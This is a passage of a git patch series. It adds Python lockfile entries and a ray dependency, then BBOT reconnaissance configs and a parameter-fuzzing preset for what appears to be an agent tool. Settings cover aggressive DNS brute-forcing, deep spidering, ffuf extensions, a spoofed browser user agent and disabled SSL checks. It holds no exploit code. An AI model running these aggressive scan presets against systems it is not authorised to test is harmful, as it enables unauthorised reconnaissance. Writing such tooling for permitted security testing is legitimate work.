"sha256:923fec6e5461c42bd7e3fd5ec37492c6f3468be0499bc0707b4bbbc16ac21792"}, + {file = "watchfiles-1.1.0-pp39-pypy39_pp73-macosx_10_12_x86_64.whl", hash = "sha256:7b3443f4ec3ba5aa00b0e9fa90cf31d98321cbff8b925a7c7b84161619870bc9"}, + {file = "watchfiles-1.1.0-pp39-pypy39_pp73-macosx_11_0_arm64.whl", hash = "sha256:7049e52167fc75fc3cc418fc13d39a8e520cbb60ca08b47f6cedb85e181d2f2a"}, + {file = "watchfiles-1.1.0-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:54062ef956807ba806559b3c3d52105ae1827a0d4ab47b621b31132b6b7e2866"}, + {file = "watchfiles-1.1.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7a7bd57a1bb02f9d5c398c0c1675384e7ab1dd39da0ca50b7f09af45fa435277"}, + {file = "watchfiles-1.1.0.tar.gz", hash = "sha256:693ed7ec72cbfcee399e92c895362b6e66d63dac6b91e2c11ae03d10d503e575"}, +] + +[package.dependencies] +anyio = ">=3.0.0" + [[package]] name = "wcwidth" version = "0.2.13" @@ -5684,6 +6394,85 @@ srsly = ">=2.4.3,<3.0.0" typer = ">=0.3.0,<1.0.0" wasabi = ">=0.9.1,<1.2.0" +[[package]] +name = "websockets" +version = "15.0.1" +description = "An implementation of the WebSocket Protocol (RFC 6455 & 7692)" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "websockets-15.0.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:d63efaa0cd96cf0c5fe4d581521d9fa87744540d4bc999ae6e08595a1014b45b"}, + {file = "websockets-15.0.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:ac60e3b188ec7574cb761b08d50fcedf9d77f1530352db4eef1707fe9dee7205"}, + {file = "websockets-15.0.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:5756779642579d902eed757b21b0164cd6fe338506a8083eb58af5c372e39d9a"}, + {file = "websockets-15.0.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0fdfe3e2a29e4db3659dbd5bbf04560cea53dd9610273917799f1cde46aa725e"}, + {file = "websockets-15.0.1-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4c2529b320eb9e35af0fa3016c187dffb84a3ecc572bcee7c3ce302bfeba52bf"}, + {file = "websockets-15.0.1-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ac1e5c9054fe23226fb11e05a6e630837f074174c4c2f0fe442996112a6de4fb"}, + {file = "websockets-15.0.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:5df592cd503496351d6dc14f7cdad49f268d8e618f80dce0cd5a36b93c3fc08d"}, + {file = "websockets-15.0.1-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:0a34631031a8f05657e8e90903e656959234f3a04552259458aac0b0f9ae6fd9"}, + {file = "websockets-15.0.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:3d00075aa65772e7ce9e990cab3ff1de702aa09be3940d1dc88d5abf1ab8a09c"}, + {file = "websockets-15.0.1-cp310-cp310-win32.whl", hash = "sha256:1234d4ef35db82f5446dca8e35a7da7964d02c127b095e172e54397fb6a6c256"}, + {file = "websockets-15.0.1-cp310-cp310-win_amd64.whl", hash = "sha256:39c1fec2c11dc8d89bba6b2bf1556af381611a173ac2b511cf7231622058af41"}, + {file = "websockets-15.0.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:823c248b690b2fd9303ba00c4f66cd5e2d8c3ba4aa968b2779be9532a4dad431"}, + {file = "websockets-15.0.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:678999709e68425ae2593acf2e3ebcbcf2e69885a5ee78f9eb80e6e371f1bf57"}, + {file = "websockets-15.0.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:d50fd1ee42388dcfb2b3676132c78116490976f1300da28eb629272d5d93e905"}, + {file = "websockets-15.0.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d99e5546bf73dbad5bf3547174cd6cb8ba7273062a23808ffea025ecb1cf8562"}, + {file = "websockets-15.0.1-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:66dd88c918e3287efc22409d426c8f729688d89a0c587c88971a0faa2c2f3792"}, + {file = "websockets-15.0.1-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8dd8327c795b3e3f219760fa603dcae1dcc148172290a8ab15158cf85a953413"}, + {file = "websockets-15.0.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:8fdc51055e6ff4adeb88d58a11042ec9a5eae317a0a53d12c062c8a8865909e8"}, + {file = "websockets-15.0.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:693f0192126df6c2327cce3baa7c06f2a117575e32ab2308f7f8216c29d9e2e3"}, + {file = "websockets-15.0.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:54479983bd5fb469c38f2f5c7e3a24f9a4e70594cd68cd1fa6b9340dadaff7cf"}, + {file = "websockets-15.0.1-cp311-cp311-win32.whl", hash = "sha256:16b6c1b3e57799b9d38427dda63edcbe4926352c47cf88588c0be4ace18dac85"}, + {file = "websockets-15.0.1-cp311-cp311-win_amd64.whl", hash = "sha256:27ccee0071a0e75d22cb35849b1db43f2ecd3e161041ac1ee9d2352ddf72f065"}, + {file = "websockets-15.0.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:3e90baa811a5d73f3ca0bcbf32064d663ed81318ab225ee4f427ad4e26e5aff3"}, + {file = "websockets-15.0.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:592f1a9fe869c778694f0aa806ba0374e97648ab57936f092fd9d87f8bc03665"}, + {file = "websockets-15.0.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:0701bc3cfcb9164d04a14b149fd74be7347a530ad3bbf15ab2c678a2cd3dd9a2"}, + {file = "websockets-15.0.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e8b56bdcdb4505c8078cb6c7157d9811a85790f2f2b3632c7d1462ab5783d215"}, + {file = "websockets-15.0.1-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0af68c55afbd5f07986df82831c7bff04846928ea8d1fd7f30052638788bc9b5"}, + {file = "websockets-15.0.1-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:64dee438fed052b52e4f98f76c5790513235efaa1ef7f3f2192c392cd7c91b65"}, + {file = "websockets-15.0.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:d5f6b181bb38171a8ad1d6aa58a67a6aa9d4b38d0f8c5f496b9e42561dfc62fe"}, + {file = "websockets-15.0.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:5d54b09eba2bada6011aea5375542a157637b91029687eb4fdb2dab11059c1b4"}, + {file = "websockets-15.0.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:3be571a8b5afed347da347bfcf27ba12b069d9d7f42cb8c7028b5e98bbb12597"}, + {file = "websockets-15.0.1-cp312-cp312-win32.whl", hash = "sha256:c338ffa0520bdb12fbc527265235639fb76e7bc7faafbb93f6ba80d9c06578a9"}, + {file = "websockets-15.0.1-cp312-cp312-win_amd64.whl", hash = "sha256:fcd5cf9e305d7b8338754470cf69cf81f420459dbae8a3b40cee57417f4614a7"}, + {file = "websockets-15.0.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ee443ef070bb3b6ed74514f5efaa37a252af57c90eb33b956d35c8e9c10a1931"}, + {file = "websockets-15.0.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:5a939de6b7b4e18ca683218320fc67ea886038265fd1ed30173f5ce3f8e85675"}, + {file = "websockets-15.0.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:746ee8dba912cd6fc889a8147168991d50ed70447bf18bcda7039f7d2e3d9151"}, + {file = "websockets-15.0.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:595b6c3969023ecf9041b2936ac3827e4623bfa3ccf007575f04c5a6aa318c22"}, + {file = "websockets-15.0.1-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3c714d2fc58b5ca3e285461a4cc0c9a66bd0e24c5da9911e30158286c9b5be7f"}, + {file = "websockets-15.0.1-cp313-cp313-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0f3c1e2ab208db911594ae5b4f79addeb3501604a165019dd221c0bdcabe4db8"}, + {file = "websockets-15.0.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:229cf1d3ca6c1804400b0a9790dc66528e08a6a1feec0d5040e8b9eb14422375"}, + {file = "websockets-15.0.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:756c56e867a90fb00177d530dca4b097dd753cde348448a1012ed6c5131f8b7d"}, + {file = "websockets-15.0.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:558d023b3df0bffe50a04e710bc87742de35060580a293c2a984299ed83bc4e4"}, + {file = "websockets-15.0.1-cp313-cp313-win32.whl", hash = "sha256:ba9e56e8ceeeedb2e080147ba85ffcd5cd0711b89576b83784d8605a7df455fa"}, + {file = "websockets-15.0.1-cp313-cp313-win_amd64.whl", hash = "sha256:e09473f095a819042ecb2ab9465aee615bd9c2028e4ef7d933600a8401c79561"}, + {file = "websockets-15.0.1-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:5f4c04ead5aed67c8a1a20491d54cdfba5884507a48dd798ecaf13c74c4489f5"}, + {file = "websockets-15.0.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:abdc0c6c8c648b4805c5eacd131910d2a7f6455dfd3becab248ef108e89ab16a"}, + {file = "websockets-15.0.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:a625e06551975f4b7ea7102bc43895b90742746797e2e14b70ed61c43a90f09b"}, + {file = "websockets-15.0.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d591f8de75824cbb7acad4e05d2d710484f15f29d4a915092675ad3456f11770"}, + {file = "websockets-15.0.1-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:47819cea040f31d670cc8d324bb6435c6f133b8c7a19ec3d61634e62f8d8f9eb"}, + {file = "websockets-15.0.1-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ac017dd64572e5c3bd01939121e4d16cf30e5d7e110a119399cf3133b63ad054"}, + {file = "websockets-15.0.1-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:4a9fac8e469d04ce6c25bb2610dc535235bd4aa14996b4e6dbebf5e007eba5ee"}, + {file = "websockets-15.0.1-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:363c6f671b761efcb30608d24925a382497c12c506b51661883c3e22337265ed"}, + {file = "websockets-15.0.1-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:2034693ad3097d5355bfdacfffcbd3ef5694f9718ab7f29c29689a9eae841880"}, + {file = "websockets-15.0.1-cp39-cp39-win32.whl", hash = "sha256:3b1ac0d3e594bf121308112697cf4b32be538fb1444468fb0a6ae4feebc83411"}, + {file = "websockets-15.0.1-cp39-cp39-win_amd64.whl", hash = "sha256:b7643a03db5c95c799b89b31c036d5f27eeb4d259c798e878d6937d71832b1e4"}, + {file = "websockets-15.0.1-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:0c9e74d766f2818bb95f84c25be4dea09841ac0f734d1966f415e4edfc4ef1c3"}, + {file = "websockets-15.0.1-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:1009ee0c7739c08a0cd59de430d6de452a55e42d6b522de7aa15e6f67db0b8e1"}, + {file = "websockets-15.0.1-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:76d1f20b1c7a2fa82367e04982e708723ba0e7b8d43aa643d3dcd404d74f1475"}, + {file = "websockets-15.0.1-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f29d80eb9a9263b8d109135351caf568cc3f80b9928bccde535c235de55c22d9"}, + {file = "websockets-15.0.1-pp310-pypy310_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b359ed09954d7c18bbc1680f380c7301f92c60bf924171629c5db97febb12f04"}, + {file = "websockets-15.0.1-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:cad21560da69f4ce7658ca2cb83138fb4cf695a2ba3e475e0559e05991aa8122"}, + {file = "websockets-15.0.1-pp39-pypy39_pp73-macosx_10_15_x86_64.whl", hash = "sha256:7f493881579c90fc262d9cdbaa05a6b54b3811c2f300766748db79f098db9940"}, + {file = "websockets-15.0.1-pp39-pypy39_pp73-macosx_11_0_arm64.whl", hash = "sha256:47b099e1f4fbc95b701b6e85768e1fcdaf1630f3cbe4765fa216596f12310e2e"}, + {file = "websockets-15.0.1-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:67f2b6de947f8c757db2db9c71527933ad0019737ec374a8a6be9a956786aaf9"}, + {file = "websockets-15.0.1-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d08eb4c2b7d6c41da6ca0600c077e93f5adcfd979cd777d747e9ee624556da4b"}, + {file = "websockets-15.0.1-pp39-pypy39_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4b826973a4a2ae47ba357e4e82fa44a463b8f168e1ca775ac64521442b19e87f"}, + {file = "websockets-15.0.1-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:21c1fa28a6a7e3cbdc171c694398b6df4744613ce9b36b1a498e816787e28123"}, + {file = "websockets-15.0.1-py3-none-any.whl", hash = "sha256:f7a866fbc1e97b5c617ee4116daaa09b722101d4a3c170c787450ba409f9736f"}, + {file = "websockets-15.0.1.tar.gz", hash = "sha256:82544de02076bafba038ce055ee6412d68da13ab47f0c60cab827346de828dee"}, +] + [[package]] name = "win32-setctime" version = "1.2.0" @@ -6083,4 +6872,4 @@ training = ["transformers"] [metadata] lock-version = "2.1" python-versions = ">=3.10,<3.14" -content-hash = "608bdd485f2f8fb2d4390f37791f6fdd484c4ca4aa5ef661346c68dd3038f726" +content-hash = "62c5a445f8962a31a3e44f66453386ae81ed2af67dc9c2e7461996911ca3f3d2" diff --git a/pyproject.toml b/pyproject.toml index ed6b9fa5..ae759aea 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -32,6 +32,7 @@ soundfile = { version = "^0.13.1", optional = true } moviepy = { version = "^2.1.2", optional = true } pillow = { version = "^11.2.1", optional = true } presidio-analyzer = "^2.2.359" +ray = {extras = ["serve"], version = "^2.48.0"} [tool.poetry.extras] From 3ccec4e0cc96036b022d7ad76b24131e376559a5 Mon Sep 17 00:00:00 2001 From: Ads Dawson <104169244+GangGreenTemperTatum@users.noreply.github.com> Date: Thu, 28 Aug 2025 07:47:52 -0400 Subject: [PATCH 25/60] chore: basic configs and wip preset --- .../tools/bbot/custom/config/default.yml | 276 ++++++++++++++++++ .../bbot/custom/config/dns_aggressive.yml | 43 +++ .../agent/tools/bbot/custom/config/global.yml | 40 +++ .../bbot/custom/config/scope_aggressive.yml | 45 +++ .../bbot/custom/config/scope_respectful.yml | 48 +++ .../custom/presets/web/param_fuzz_heavy.yml | 47 +++ 6 files changed, 499 insertions(+) create mode 100644 dreadnode/agent/tools/bbot/custom/config/default.yml create mode 100644 dreadnode/agent/tools/bbot/custom/config/dns_aggressive.yml create mode 100644 dreadnode/agent/tools/bbot/custom/config/global.yml create mode 100644 dreadnode/agent/tools/bbot/custom/config/scope_aggressive.yml create mode 100644 dreadnode/agent/tools/bbot/custom/config/scope_respectful.yml create mode 100644 dreadnode/agent/tools/bbot/custom/presets/web/param_fuzz_heavy.yml diff --git a/dreadnode/agent/tools/bbot/custom/config/default.yml b/dreadnode/agent/tools/bbot/custom/config/default.yml new file mode 100644 index 00000000..d82cfc4b --- /dev/null +++ b/dreadnode/agent/tools/bbot/custom/config/default.yml @@ -0,0 +1,276 @@ +### BASIC OPTIONS ### + +# BBOT working directory +home: ~/.bbot +# How many scan results to keep before cleaning up the older ones +keep_scans: 20 +# Interval for displaying status messages +status_frequency: 15 +# Include the raw data of files (i.e. PDFs, web screenshots) as base64 in the event +file_blobs: false +# Include the raw data of directories (i.e. git repos) as tar.gz base64 in the event +folder_blobs: false + +### SCOPE ### + +scope: + # strict scope means only exact DNS names are considered in-scope + # subdomains are not included unless they are explicitly provided in the target list + strict: false + # Filter by scope distance which events are displayed in the output + # 0 == show only in-scope events (affiliates are always shown) + # 1 == show all events up to distance-1 (1 hop from target) + report_distance: 0 + # How far out from the main scope to search + # Do not change this setting unless you know what you're doing + search_distance: 0 + +### DNS ### + +dns: + # Completely disable DNS resolution (careful if you have IP whitelists/blacklists, consider using minimal=true instead) + disable: false + # Speed up scan by not creating any new DNS events, and only resolving A and AAAA records + minimal: false + # How many instances of the dns module to run concurrently + threads: 25 + # How many concurrent DNS resolvers to use when brute-forcing + # (under the hood this is passed through directly to massdns -s) + brute_threads: 1000 + # nameservers to use for DNS brute-forcing + # default is updated weekly and contains ~10K high-quality public servers + brute_nameservers: https://raw.githubusercontent.com/blacklanternsecurity/public-dns-servers/master/nameservers.txt + # How far away from the main target to explore via DNS resolution (independent of scope.search_distance) + # This is safe to change + search_distance: 1 + # Limit how many DNS records can be followed in a row (stop malicious/runaway DNS records) + runaway_limit: 5 + # DNS query timeout + timeout: 5 + # How many times to retry DNS queries + retries: 1 + # Completely disable BBOT's DNS wildcard detection + wildcard_disable: False + # Disable BBOT's DNS wildcard detection for select domains + wildcard_ignore: [] + # How many sanity checks to make when verifying wildcard DNS + # Increase this value if BBOT's wildcard detection isn't working + wildcard_tests: 10 + # Skip DNS requests for a certain domain and rdtype after encountering this many timeouts or SERVFAILs + # This helps prevent faulty DNS servers from hanging up the scan + abort_threshold: 50 + # Don't show PTR records containing IP addresses + filter_ptrs: true + # Enable/disable debug messages for DNS queries + debug: false + # For performance reasons, always skip these DNS queries + # Microsoft's DNS infrastructure is misconfigured so that certain queries to mail.protection.outlook.com always time out + omit_queries: + - SRV:mail.protection.outlook.com + - CNAME:mail.protection.outlook.com + - TXT:mail.protection.outlook.com + +### WEB ### + +web: + # HTTP proxy + http_proxy: http://127.0.0.1:8080 + # Web user-agent + user_agent: dn.bbot-user-agent + # Set the maximum number of HTTP links that can be followed in a row (0 == no spidering allowed) + spider_distance: 0 + # Set the maximum directory depth for the web spider + spider_depth: 1 + # Set the maximum number of links that can be followed per page + spider_links_per_page: 25 + # HTTP timeout (for Python requests; API calls, etc.) + http_timeout: 10 + # HTTP timeout (for httpx) + httpx_timeout: 5 + # Custom HTTP headers (e.g. cookies, etc.) + # in the format { "Header-Key": "header_value" } + # These are attached to all in-scope HTTP requests + # Note that some modules (e.g. github) may end up sending these to out-of-scope resources + http_headers: {} + # How many times to retry API requests + # Note that this is a separate mechanism on top of HTTP retries + # which will retry API requests that don't return a successful status code + api_retries: 2 + # HTTP retries - try again if the raw connection fails + http_retries: 1 + # HTTP retries (for httpx) + httpx_retries: 1 + # Default sleep interval when rate limited by 429 (and retry-after isn't provided) + 429_sleep_interval: 30 + # Maximum sleep interval when rate limited by 429 (and an excessive retry-after is provided) + 429_max_sleep_interval: 60 + # Enable/disable debug messages for web requests/responses + debug: false + # Maximum number of HTTP redirects to follow + http_max_redirects: 5 + # Whether to verify SSL certificates + ssl_verify: false + +### ENGINE ### + +engine: + debug: false + +# Tool dependencies +deps: + ffuf: + version: "2.1.0" + # How to handle installation of module dependencies + # Choices are: + # - abort_on_failure (default) - if a module dependency fails to install, abort the scan + # - retry_failed - try again to install failed dependencies + # - ignore_failed - run the scan regardless of what happens with dependency installation + # - disable - completely disable BBOT's dependency system (you are responsible for installing tools, pip packages, etc.) + behavior: abort_on_failure + +### ADVANCED OPTIONS ### + +# Load BBOT modules from these custom paths +module_dirs: [] + +# maximum runtime in seconds for each module's handle_event() is 60 minutes +# when the timeout is reached, the offending handle_event() will be cancelled and the module will move on to the next event +module_handle_event_timeout: 3600 +# handle_batch() default timeout is 2 hours +module_handle_batch_timeout: 7200 + +# Infer certain events from others, e.g. IPs from IP ranges, DNS_NAMEs from URLs, etc. +speculate: True +# Passively search event data for URLs, hostnames, emails, etc. +excavate: True +# Summarize activity at the end of a scan +aggregate: True +# DNS resolution, wildcard detection, etc. +dnsresolve: True +# Cloud provider tagging +cloudcheck: True + +# Strip querystring from URLs by default +url_querystring_remove: True +# When query string is retained, by default collapse parameter values down to a single value per parameter +url_querystring_collapse: True + +# Completely ignore URLs with these extensions +url_extension_blacklist: + # images + - png + - jpg + - bmp + - ico + - jpeg + - gif + - svg + - webp + # web/fonts + - css + - woff + - woff2 + - ttf + - eot + - sass + - scss + # audio + - mp3 + - m4a + - wav + - flac + # video + - mp4 + - mkv + - avi + - wmv + - mov + - flv + - webm +# Distribute URLs with these extensions only to httpx (these are omitted from output) +url_extension_httpx_only: + - js + +# These url extensions are almost always static, so we exclude them from modules that fuzz things +url_extension_static: + - pdf + - doc + - docx + - xls + - xlsx + - ppt + - pptx + - txt + - csv + - xml + - yaml + - ini + - log + - conf + - cfg + - env + - md + - rtf + - tiff + - bmp + - jpg + - jpeg + - png + - gif + - svg + - ico + - mp3 + - wav + - flac + - mp4 + - mov + - avi + - mkv + - webm + - zip + - tar + - gz + - bz2 + - 7z + - rar + +parameter_blacklist: + - __VIEWSTATE + - __EVENTARGUMENT + - __EVENTVALIDATION + - __EVENTTARGET + - __EVENTARGUMENT + - __VIEWSTATEGENERATOR + - __SCROLLPOSITIONY + - __SCROLLPOSITIONX + - ASP.NET_SessionId + - PHPSESSID + - __cf_bm + - f5_cspm + +parameter_blacklist_prefixes: + - TS01 + - BIGipServer + - incap_ + - visid_incap_ + - AWSALB + - utm_ + - ApplicationGatewayAffinity + - JSESSIONID + - ARRAffinity + +# Don't output these types of events (they are still distributed to modules) +omit_event_types: + - HTTP_RESPONSE + - RAW_TEXT + - URL_UNVERIFIED + - DNS_NAME_UNRESOLVED + - FILESYSTEM + - WEB_PARAMETER + - RAW_DNS_RECORD + # - IP_ADDRESS + +# Custom interactsh server settings +interactsh_server: null +interactsh_token: null +interactsh_disable: false \ No newline at end of file diff --git a/dreadnode/agent/tools/bbot/custom/config/dns_aggressive.yml b/dreadnode/agent/tools/bbot/custom/config/dns_aggressive.yml new file mode 100644 index 00000000..e35663dd --- /dev/null +++ b/dreadnode/agent/tools/bbot/custom/config/dns_aggressive.yml @@ -0,0 +1,43 @@ +### AGGRESSIVE DNS CONFIG ### +# This config maximizes DNS enumeration and resolution capabilities + +dns: + # Maximum DNS resolution settings + disable: false + minimal: false + # High thread counts for fast DNS operations + threads: 100 + brute_threads: 5000 + # Extended DNS search distance + search_distance: 3 + # Higher runaway limit for complex DNS chains + runaway_limit: 10 + # Longer timeout for comprehensive resolution + timeout: 15 + # More retries for thorough enumeration + retries: 3 + # Disabled wildcard detection limits + wildcard_disable: false + wildcard_ignore: [] + # Maximum wildcard tests for accuracy + wildcard_tests: 25 + # Higher abort threshold for persistent scanning + abort_threshold: 100 + # Show all PTR records + filter_ptrs: false + # Enable DNS debug for troubleshooting + debug: false + # Clear omit queries to allow all DNS types + omit_queries: [] + +scope: + # Allow broader scope for DNS discovery + strict: false + report_distance: 2 + search_distance: 2 + +# Enable all DNS-related processing +speculate: True +excavate: True +dnsresolve: True +cloudcheck: True \ No newline at end of file diff --git a/dreadnode/agent/tools/bbot/custom/config/global.yml b/dreadnode/agent/tools/bbot/custom/config/global.yml new file mode 100644 index 00000000..756d5093 --- /dev/null +++ b/dreadnode/agent/tools/bbot/custom/config/global.yml @@ -0,0 +1,40 @@ +### WEB ### + +web: + # HTTP proxy + http_proxy: http://127.0.0.1:8080 + # Web user-agent + user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.2151.97 + # Set the maximum number of HTTP links that can be followed in a row (0 == no spidering allowed) + spider_distance: 0 + # Set the maximum directory depth for the web spider + spider_depth: 1 + # Set the maximum number of links that can be followed per page + spider_links_per_page: 25 + # HTTP timeout (for Python requests; API calls, etc.) + http_timeout: 10 + # HTTP timeout (for httpx) + httpx_timeout: 5 + # Custom HTTP headers (e.g. cookies, etc.) + # in the format { "Header-Key": "header_value" } + # These are attached to all in-scope HTTP requests + # Note that some modules (e.g. github) may end up sending these to out-of-scope resources + http_headers: {} + # How many times to retry API requests + # Note that this is a separate mechanism on top of HTTP retries + # which will retry API requests that don't return a successful status code + api_retries: 2 + # HTTP retries - try again if the raw connection fails + http_retries: 1 + # HTTP retries (for httpx) + httpx_retries: 1 + # Default sleep interval when rate limited by 429 (and retry-after isn't provided) + 429_sleep_interval: 30 + # Maximum sleep interval when rate limited by 429 (and an excessive retry-after is provided) + 429_max_sleep_interval: 60 + # Enable/disable debug messages for web requests/responses + debug: false + # Maximum number of HTTP redirects to follow + http_max_redirects: 5 + # Whether to verify SSL certificates + ssl_verify: false diff --git a/dreadnode/agent/tools/bbot/custom/config/scope_aggressive.yml b/dreadnode/agent/tools/bbot/custom/config/scope_aggressive.yml new file mode 100644 index 00000000..ae30c565 --- /dev/null +++ b/dreadnode/agent/tools/bbot/custom/config/scope_aggressive.yml @@ -0,0 +1,45 @@ +### SCOPE AGGRESSIVE CONFIG ### +# This config expands scope for more aggressive reconnaissance + +scope: + # Allow scanning of subdomains and related domains + strict: false + # Show events up to distance-1 (1 hop from target) + report_distance: 1 + # Search further out from main scope + search_distance: 1 + +web: + # Allow deeper web spidering + spider_distance: 2 + spider_depth: 3 + spider_links_per_page: 50 + # Increase timeouts for more thorough scanning + http_timeout: 20 + httpx_timeout: 15 + # More aggressive retry behavior + api_retries: 3 + http_retries: 2 + httpx_retries: 2 + # Higher redirect following + http_max_redirects: 10 + +dns: + # More aggressive DNS resolution + search_distance: 2 + # More DNS threads for faster resolution + threads: 50 + brute_threads: 2000 + # More retries for thorough DNS enumeration + retries: 2 + # Higher timeout for slower resolvers + timeout: 10 + # More wildcard tests for accuracy + wildcard_tests: 15 + +# Enable more advanced processing +speculate: True +excavate: True +aggregate: True +dnsresolve: True +cloudcheck: True \ No newline at end of file diff --git a/dreadnode/agent/tools/bbot/custom/config/scope_respectful.yml b/dreadnode/agent/tools/bbot/custom/config/scope_respectful.yml new file mode 100644 index 00000000..6b411dc9 --- /dev/null +++ b/dreadnode/agent/tools/bbot/custom/config/scope_respectful.yml @@ -0,0 +1,48 @@ +### SCOPE RESPECTFUL CONFIG ### +# This config limits scope for respectful/careful reconnaissance + +scope: + # Only scan exact targets provided + strict: true + # Only show in-scope events + report_distance: 0 + # Don't search beyond main targets + search_distance: 0 + +web: + # Minimal web spidering + spider_distance: 0 + spider_depth: 1 + spider_links_per_page: 10 + # Conservative timeouts + http_timeout: 5 + httpx_timeout: 3 + # Minimal retry behavior to avoid hammering + api_retries: 1 + http_retries: 0 + httpx_retries: 0 + # Limited redirects + http_max_redirects: 3 + # Longer delays when rate limited + 429_sleep_interval: 60 + 429_max_sleep_interval: 300 + +dns: + # Conservative DNS resolution + search_distance: 0 + # Fewer DNS threads + threads: 10 + brute_threads: 100 + # Single retry only + retries: 0 + # Standard timeout + timeout: 3 + # Fewer wildcard tests + wildcard_tests: 5 + +# Minimal processing for lighter footprint +speculate: False +excavate: False +aggregate: True +dnsresolve: True +cloudcheck: False \ No newline at end of file diff --git a/dreadnode/agent/tools/bbot/custom/presets/web/param_fuzz_heavy.yml b/dreadnode/agent/tools/bbot/custom/presets/web/param_fuzz_heavy.yml new file mode 100644 index 00000000..3af0ee1e --- /dev/null +++ b/dreadnode/agent/tools/bbot/custom/presets/web/param_fuzz_heavy.yml @@ -0,0 +1,47 @@ +description: Run all WEB_PARAMETER modules for parameter tampering and pollution + +# Recommended to run after an initial lightfuzz-heavy module run with a list of URLs to check params + +# Usage + +include: + - spider-intense + +modules: + - paramminer_cookies + - paramminer_getparams + - paramminer_headers + +config: + modules: + ffuf: + depth: 3 + lines: 5000 + extensions: + - php + - asp + - aspx + - ashx + - asmx + - jsp + - jspx + - cfm + - zip + - conf + - config + - xml + - json + - yml + - yaml + # emit URLs from wayback + wayback: + urls: True + web: + http_proxy: http://127.0.0.1:8080 + username: $PARAM_FUZZ_HEAVY_USERNAME + password: $PARAM_FUZZ_HEAVY_PASSWORD +dns: + wildcard_tests: 20 + +flags: + - web-paramminer \ No newline at end of file From a9198fea1f5aed3162e22c8743cb2a60fe9ff034 Mon Sep 